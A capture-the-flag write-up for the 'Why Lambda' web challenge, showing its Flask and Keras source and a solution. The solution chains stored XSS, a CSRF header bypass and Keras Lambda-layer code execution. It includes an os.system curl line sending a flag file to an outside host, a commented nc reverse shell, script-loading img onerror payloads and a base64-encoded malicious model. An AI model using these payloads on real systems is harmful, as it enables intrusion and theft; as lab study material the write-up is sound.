Why Lambda

Description

It looks like the AI hype has reached further than we thought. Help us shut down this poor alien attempt at Machine Learning, we found their website with a restricted admin dashboard can you exploit it?

Source

conf/nginx.conf

worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
daemon off;

events {
        worker_connections 768;
}

http {
        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        access_log /dev/stdout;
        access_log /dev/stderr;

        server {
            listen 1337 default_server;
            listen [::]:1337 default_server;
            server_name _;
            location / {
                proxy_pass http://127.0.0.1:8080;
            }
            location /api/ {
                proxy_pass http://127.0.0.1:5000;
            }
        }
}

challege/backend/app.py

import os
import string
import random
from threading import Thread
from dotenv import load_dotenv
from flask_session import Session
from flask import Flask, jsonify, request, send_from_directory, session

import complaints
from auth import authenticated
from csrf import csrf_protection
from model import test_model, dataset, predict

load_dotenv()

app = Flask(__name__)

app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_FILE_DIR'] = 'sessions/'
app.config['SESSION_COOKIE_NAME'] = 'space_cookie'
app.config['SESSION_COOKIE_SECURE'] = False 
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'

app.secret_key = os.environ.get("FLASK_SECRET_KEY")

Session(app)

ALIEN_USERNAME = os.environ.get("ALIENT_USERNAME")
ALIENT_PASSWORD = os.environ.get("ALIENT_PASSWORD")

MODELS = "models/"
MAIN_MODEL = "models/main.h5"
    
def message(content: str):
    return jsonify({"message": content})

@app.route("/api/login", methods=["POST"])
def api_login():
    username = request.json.get("username", None)
    password = request.json.get("password", None)

    if not username or not password:
        return message("Paramters 'username' and 'password' required"), 400
    
    if username == ALIEN_USERNAME and password == ALIENT_PASSWORD:
        session['username'] = username
        return jsonify(), 200
    else:
        return message("Invalid credentials"), 401

@app.route("/api/metrics", methods=["GET"])
def get_metrics():
    metrics = test_model(MAIN_MODEL)
    return jsonify(metrics)

@app.route("/api/data", methods=["GET"])
def get_dataset():
    return jsonify({"count":dataset()})

@app.route("/api/predict", methods=["POST"])
@csrf_protection
def do_predition():
    image_data = request.json.get("image_data", None)
    if image_data == None:
        return message("Parameter 'image_data' required!"), 400
    
    prediction = predict(image_data)
    return jsonify({"prediction": prediction}), 200

@app.route("/api/complaint", methods=["POST"])
@csrf_protection
def submit_complaint():
    description = request.json.get("description", None)
    image_data = request.json.get("image_data", None)
    prediction = request.json.get("prediction", None)
    if not description or not image_data or prediction == None:
        return message("Parameters 'description', 'image_data' and 'prediction' requred"), 400
    
    complaints.add_complaint(description, image_data, prediction)

    Thread(target=complaints.check_complaints, args=(ALIEN_USERNAME, ALIENT_PASSWORD,)).start()

    return jsonify(), 204

@app.route("/api/internal/model", methods=["POST"])
@authenticated
@csrf_protection
def submit_model():
    if "file" not in request.files:
        return message("Failed to upload model! You must specify a file!"), 400

    file = request.files["file"]
    
    if file and ".h5" in file.filename:
        name = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(12))
        name += ".h5"
        # Save model
        file.save(os.path.join(MODELS, name))
        try:
            test_model(MODELS+name)
            return message(f"Success, model saved at: /models/{name}")
            
        except Exception as e:
            print(e)
            return message("Model was uploaded but there were some errors during testing"), 422
    else:
        return message("Failed to upload model!"), 400

@app.route("/api/internal/models/<path:path>")
@authenticated
def serve_models(path):
    return send_from_directory("models", path)

@app.route("/api/internal/complaints", methods=["GET"])
@authenticated
def get_complaints():
    return jsonify(complaints.get_all_complaints()), 200

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

challege/backend/complaints.py

import os
import json
import uuid
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options


COMPLAINS_STORAGE = "complaints/"

def add_complaint(description, image_data, prediction):
    complaint = {
        "description": description,
        "image_data": image_data,
        "prediction": prediction,
    }

    with open(os.path.join(COMPLAINS_STORAGE, f"{uuid.uuid4()}.json"), "w") as f:
        f.write(json.dumps(complaint))


def get_all_complaints():
    complaints = []
    for complaint in os.listdir(COMPLAINS_STORAGE):
        with open(os.path.join(COMPLAINS_STORAGE, complaint)) as f:
            complaints.append(json.loads(f.read()))

    return complaints

def check_complaints(username, password):
    options = Options()
    options.add_argument('--headless')
    options.add_argument('--no-sandbox')
    browser = webdriver.Chrome(options=options)

    browser.get("http://127.0.0.1:1337/dashboard")

    browser.find_element(By.NAME, "username").send_keys(username)
    browser.find_element(By.NAME, "password").send_keys(password)
    browser.find_element(By.CLASS_NAME, "button-container").click()

    time.sleep(10)

    browser.quit()

challege/backend/csrf.py

from functools import wraps
from flask import request, jsonify

# https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#custom-request-headers
def csrf_protection(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        csrf_header = request.headers.get("X-SPACE-NO-CSRF")
        if csrf_header != "1":
            return jsonify({"error": "Invalid csrf token!"}), 403
        
        return f(*args, **kwargs)
    return decorated_function

challege/backend/model.py

import json
import random
from tensorflow import keras
from keras.datasets import mnist
from keras.utils.np_utils import to_categorical
from keras.models import Sequential
from keras.layers.core import Dense, Dropout, Activation

# Tensorflow: https://github.com/tensorflow/tensorflow/

MAIN_MODEL = "models/main.h5"

(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(60000, 784)
X_test = X_test.reshape(10000, 784)
X_train = X_train.astype("float32")
X_test = X_test.astype("float32")

X_train /= 255
X_test /= 255

n_classes = 10
Y_train = to_categorical(y_train, n_classes)
Y_test = to_categorical(y_test, n_classes)

# Our revolutionary ML model
def build_model():
    model = Sequential()
    model.add(Dense(512, input_shape=(784,)))
    model.add(Activation("relu"))                            
    model.add(Dropout(0.2))

    model.add(Dense(512))
    model.add(Activation("relu"))
    model.add(Dropout(0.2))

    model.add(Dense(10))
    model.add(Activation("softmax"))

    model.compile(loss="categorical_crossentropy", metrics=["accuracy"], optimizer="adam")

    history = model.fit(X_train, Y_train,
            batch_size=128, epochs=20,
            verbose=2,
            validation_data=(X_test, Y_test))

    model.save(MAIN_MODEL)
    with open("graph.json", "w") as fp:
        json.dump(history.history, fp)

def predict(image_data):
    # What's the point anyway?
    return random.randrange(0, 9)


def test_model(path):
    m = keras.models.load_model(path)
    metrics = m.evaluate(X_test, Y_test)
    return {"loss":round(metrics[0], 3), "acc":round(metrics[1], 3)}

def dataset():
    return len(X_train)+len(X_test)

Solution

Why_Lambda.png

The application supports authentication, but it's just hardcoded to default values which are randomly generated 32 characters.

@app.route("/api/login", methods=["POST"])
def api_login():
    username = request.json.get("username", None)
    password = request.json.get("password", None)
    if username == ALIEN_USERNAME and password == ALIENT_PASSWORD:
        session['username'] = username
        return jsonify(), 200
Why_Lambda-1.png

The heart of the application seems to be the model. We are allowed a "demo" version where we draw a number and model guesses the number.

Why_Lambda-2.png

The model is somewhat terrible at it's job, so we are allowed to submit complaints. Our complaint is saved into a json file, the bot visits /dashboard with Chromium, stays there for 10 seconds and leaves.

@app.route("/api/complaint", methods=["POST"])
@csrf_protection
def submit_complaint():
    description = request.json.get("description", None)
    image_data = request.json.get("image_data", None)
    prediction = request.json.get("prediction", None)
    if not description or not image_data or prediction == None:
        return message("Parameters 'description', 'image_data' and 'prediction' requred"), 400
    
    complaints.add_complaint(description, image_data, prediction)

    Thread(target=complaints.check_complaints, args=(ALIEN_USERNAME, ALIENT_PASSWORD,)).start()

    return jsonify(), 204

Vue on frontend takes the JSON data (complaints) and renders each item on /dashboard. The bot logins with admin credentials so XSS/CSRF seems likely.

Why_Lambda-3.png

Only CSRF would work, because HTTPONLY is set for cookies, meaning they cannot be transmitted over network, no cookies for us 😟

app.config['SESSION_COOKIE_SECURE'] = False 
app.config['SESSION_COOKIE_HTTPONLY'] = True

App does have CSRF protection, but from source we know it's easily bypassable with simple header 💀

We are also allowed to submit our own models, but only with "internal" API

Why_Lambda-4.png
@app.route("/api/internal/model", methods=["POST"])
@authenticated
@csrf_protection
def submit_model():

The model is handled by tensorflow

from tensorflow import keras
def test_model(path):
    m = keras.models.load_model(path)
    metrics = m.evaluate(X_test, Y_test)
    return {"loss":round(metrics[0], 3), "acc":round(metrics[1], 3)}

Quick google shows RCE vulnerability: TensorFlow Remote Code Execution with Malicious Model

import tensorflow as tf

def exploit(x):
    import os
    # os.system("touch /tmp/pwned")
	# os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f")
	os.system("curl https://uwuos.free.beeceptor.com -F 'file=@/app/flag.txt'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Ok, we have RCE... but how do we sneak it in? The obvious script tags wont work: Injecting <script>alert("1")</script> to OWASP Juice shop doesn't work

No problem, we can load script via img onerror event:

<img src=x onerror='var s=document.createElement(`script`);s.src=`https://pastebin.com/raw/KN1TVRkr`;document.body.appendChild(s)'>

Note: pastebin won't work, more info later.

Now we need a malicious CSRF script to do the heavy work.

First let's create the PoC. Phew... 9.8K is kinda a lot..... Ideal way to sneak it in would be to use Base64, but it's still to big. Luckily modern Javascript supports decompression: https://developer.mozilla.org/en-US/docs/Web/API/DecompressionStream

root@9ee6d173a93e:/tmp/t# python3 exp.py
root@9ee6d173a93e:/tmp/t# ls -l exploit.h5
-rw-r--r-- 1 root root 9952 Sep 22 21:29 exploit.h5
root@9ee6d173a93e:/tmp/t# gzip -9 exploit.h5
root@9ee6d173a93e:/tmp/t# ls -l exploit.h5.gz
-rw-r--r-- 1 root root 1382 Sep 22 21:29 exploit.h5.gz
root@9ee6d173a93e:/tmp/t# base64 exploit.h5.gz -w0 | wc -c
1844

Much better.

Final PoC after playing around:

async function DecompressBlob(blob) {
  const ds = new DecompressionStream("gzip");
  const decompressedStream = blob.stream().pipeThrough(ds);
  return await new Response(decompressedStream).blob();
}

function uploadFile(file) {
  const reader = new FileReader();

  reader.onload = function(event) {
    const blob = new Blob([event.target.result], { type: file.type });
    const formData = new FormData();
    formData.append('file', blob, file.name); 
    fetch('/api/internal/model', {
      method: 'POST',
      body: formData,
      headers: { "X-SPACE-NO-CSRF": "1" }
    })
    .then(data => console.log('File uploaded successfully:', data))
    .catch(error => console.error('Error uploading file:', error));
  };
  reader.readAsArrayBuffer(file);
}

const base64GzipString = "H4sICEOM8GYCA2V4cGxvaXQuaDUA7VnNT+NGFLfDVwRsxUo9QLut0nS7qlSKnBAKrLQtTggJXwUWCiELcif2JDHxV/1BFlCkHre3PfbYY4973GOP/RM4Vfsv9NYbnbHHjsdLgBXaShX+HWzPmzdvZl7e+3ny/Et5cene8EfDDEYyyfQzY0wYFwRvHtFtv/9HcmfJ/QW5/57w5YNu3ziRjxH7qT6vvUkG7jwtFrH2RQTBQsapW4w7hnKR38T3Cmlz5P5ngtZTdQkqQhvKjaZtobZu2LIqn0IzJAvH65fXzHufxGs0rkeZMrHzAfMhk2Ra0ASWcAxNS9Y1JJ9gWXfkWDBXkpp3sCtyZaPMAnlOuvZqQGxBTbrWznDIToJa1z3XjucPUdfqcoNx18Vcae/vRNdeH2VvzLVnm0DWZK3hm7zO3l9s117/FXzADXntP5ib8YHxwB8fI+aDbh6fD9J6ClBrEmAYWzcEBR6jXKAZgo3wyXXw47U84bWbjM8HFRL3oyhPxtG8J4hzNKBCj3F65gnLUvlyGT8MXMkPzI35YfCS/ZQKG2tsKJGo+RGyU5nsFOdxS2APwYaapZt1RW93uSLgD4SztKgAy3I9kH6cSm/Dnxyo2TJQ0pOptEceSH6W9hUsSsF1n4Xkz6KGljXDsddwd8RQDdhiU5Bxt2A1gYG1n2mOokymZudyh0hZsk9caRotG9jTWWzAMoBpYWEdKBZEAhM0GlAKCfyJPcuZdKczmYouas2Nsh47U4JOlzxBTcFi23RgjzXVHU200WsEbyCdaxd5Gsv4sogvW210Ka/v4ecqv9TiS22+vrU0xwM+X+VXm/xWka/z+R2+0FrccVr8gYY1vzqaOZIqK9ZyqclJ5fzphjx3LFWkTG163alqK0p1e0au7u0eVSt5rja97Oxn5+3lQqa0XJBUsPdc2fyBP96v5NsH2lq2au3viY5UbnIrJ61CtrFyLM7rJXFaOZVKu/bq1hrgK80THq9ztcWLjX289G/y6m5OLMy0oaSXq5Vmu1aaNw40iV9HvfnTfMPdZr7AF1f5rSdPDjTkFO+HxNfDkIcE33tdH6P0dlwHpwVBRe4WBCzVHTscF541ShqYMkE7OkIIjJKBwGw4KopWHKFnnU7nsNNhuu+44L3n5oGiW1Z3pAptUxZDAo+IoCS81YMH+jwVWnNwoAmFGh2NBceydfXbp+vbhqkbPaIy1OvNIUhQBCfdiURFNjTdVLuShqLXADpMvNWBJcdAcUIeciwoQBWE8gi1kB+x1xw8lJuanydSHR2b2qZsQ6Fuuiwg4mVkOA71H8k22qhqyEo4SWULkXkDiCdC4I5QrwKB6Z5RTGBDdyqOQ9Zc5GZz87O5mcw0TvWm7i3EDZvQyvDE0LBkxc3BDPyam8W7RArQ7HJDB//oAxG+9N83g9fw5VAPniVUzYyQO/IK2gUK9cf0G2pzOD4DxIgRI0aMGDFixHh3bH+/sciif/f+udPop+sAv5L2a3JQ9et25c9oPYO0X35+N/3o14mj/rq+TszcuE485Mr7Lq2fvv6Erkd59VOm9/eUGHH9NFQ/9fN//AGt58fh5nvim1cT9DznpP3Px358e0h9SuuVSbuZutt8E/UX/f1nnCG1naAQfT/1HfH9ApMbYXIXpHDr16Gj6MU3b1Ix38S4Pd+8SL1fvvHzJMoX/1WeJB967edUnvT+rvnyC9o/Me52nvjx9Cpyro7Whf2oXLhlnkTP8d3vmpfnybt+1xwJBXfSlQ94fayvR59/+5Bl/DyWZIJ8xBhALSxPJBKsZ8vzVB97/ujyDPrtf/R/jA1W//PDOCdug38BHoOoAuAmAAA=";
let bytes = Uint8Array.from(atob(base64GzipString), c => c.charCodeAt(0));
let blob = new Blob([bytes], { type: "application/gzip" });
let data = await DecompressBlob(blob);

// console.log(Array.from(new Uint8Array(await dec.arrayBuffer())).map(byte => byte.toString(16).padStart(2, '0')).join(' '));

const file = new File([data], "example.h5", { type: "text/plain" });
uploadFile(file);

CSRF is possible from prediction value in compaint.

challenge/frontend/src/views/Dashboard.vue

getPredictionText(complaint) {
	return `<p>Our amazing model said the image represented the digit: <b>${complaint.prediction}</b></p>`;
},

Payload for prediction:

<img src=x onerror='const s=document.createElement(`script`);s.src=`https://paste.mozilla.org/mhaWH3JB/raw`;s.type=`module`;document.body.appendChild(s);'>

The pastebin version didn't work, because it needs Content-Type: text/javascript. Luckily pipedream platform supports different hooks for free! and we can take advantage of that. (I was lazy to open ngrok, lol)

Why_Lambda-5.png

New payload:

<img src=x onerror='const s=document.createElement(`script`);s.src=`https://eo28ovxki9li6rj.m.pipedream.net`;s.type=`module`;document.body.appendChild(s);'>

We create a script, give it a source of our payload, type=module because await/async kept complaining and lastly append the script to html. Bot should trigger the XSS in few seconds.

Why_Lambda-6.png
Why_Lambda-7.png

Flag: HTB{th3_gr33ks_g0t_1t_4ll_wr0ng}

PreviousTornadoServiceNextjscalc

Last updated